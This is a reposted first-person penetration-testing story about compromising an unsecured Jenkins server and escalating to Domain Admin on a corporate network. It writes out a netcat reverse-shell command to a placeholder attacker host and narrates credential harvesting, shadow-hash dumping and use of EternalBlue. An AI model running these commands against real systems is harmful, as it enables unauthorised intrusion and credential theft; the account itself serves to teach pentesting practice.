Confessions of a Pentester Part 1 (Jenkins)

The Confessions of a Pentester Series, is the work of a pentester that goes by the handle of EasyGhost and was originally posted over at HackForums.net. EasyGhost was nice enough to give me permission to post his collection of Real world engagements, which I found to be a excellent read and shows the mindset of a pentester when breaking into a Network.

I thought it would be interesting to share some of my real world penetration testing experience in a story format. The goal is not to write the next great novel or anything, but I though it would be an interesting way of sharing real world experience, problems, and solutions. It may also inspire others to write some of their engagement stories as well.

I recently had an engagement where I was placed in a corporate network with no information beyond some flags (IPs of hosts to compromise) to attempt to access. My local host was a Kali box, I had no domain connections or anything else beyond an IP on the network. The first thing I did was to start enumerating the network. Some people would start with a mass port scan (OSCP right) and while that sort of scanning is fine in most engagements where you don’t mind being super noisy, I try to stay quite on the wire for at least the first day or two of testing. So I began with more passive scanning, using nmap I was able to intercept broadcast messages and get an understanding of what kind of network I was on, what hosts were broadcasting, NETBIOS information etc.

 nmap -e eth0 *broadcast-*

The output was pretty normal, printers, services etc. But one host caught my eye right away, a Jenkins box! Don’t get me wrong, Jenkins set up correctly is very useful and can be secure. But…I decided to check out the host anyways in case I would get lucky. And did I ever. I setup a port forward from my local host through the tunnel I was using to get into the corporate net so that I could access the web application inside the corporate network.

 ssh -L 8888:Jenkins:443 [email protected]

After the tunnel was up I opened my browsers, browsed to https://localhost:8888 and got access to the Jenkins panel. Now this is where things get interesting, because the admin who set up the Jenkins box did not lock down Jenkins functionality, and I got access to the Script Console, which means I was able to execute server side code.

More info: https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password

With the script console I used netcat to create a reverse shell to a metasploit listener and from there used “post/multi/manage/shell_to_meterpreter” to get a full meterpreter from my basic netcat shell.

 ncat -nv attackerIP port -e '/bin/sh'

I was in! My user on the server was Jenkins but I had a lot of access. I couldn’t access root or any other user files. I started enumerating the server, looking for insecure kernel version, file permissions etc. Then it occurred to me to check the bash history of the user. There was a lot of jobs assigned to Jenkins which is normal, some basic setup commands, but then I noticed one of the jobs included a username and password. Now the username is different then Jenkins, but I figured, what the hell why not try it. So I opened a new shell on my remote Kali box then attempted to SSH into the Jenkins box with the new password I found, and yep, it worked. So I decided to take it one step further, would Jenkins happen to be a sudo user?

sudo su -

It was, and now I had full root access on the dev ops server. From there I accessed every home directory, root folder, got the shadow hashes etc. I found everything from gmail account/passwords to github repo credentials and certificates for many services. And maybe the best thing I found was a pre-established SSH tunnel to an even more internal network. I didn’t even have to breach into it.

From this Jenkins box I was able to find a vulnerable Windows Server 2008, using Eternalblue I gained full SYSTEM access, the server was a Domain Controller. So naturally I gathered all the user hashes for later and set myself up as a full Domain Admin.

And that was how I got full Domain Admin on a major corporate network in less then one day.

I hope you all enjoyed the story, I look forward to sharing more in the future.

Leave a Reply

Your email address will not be published. Required fields are marked *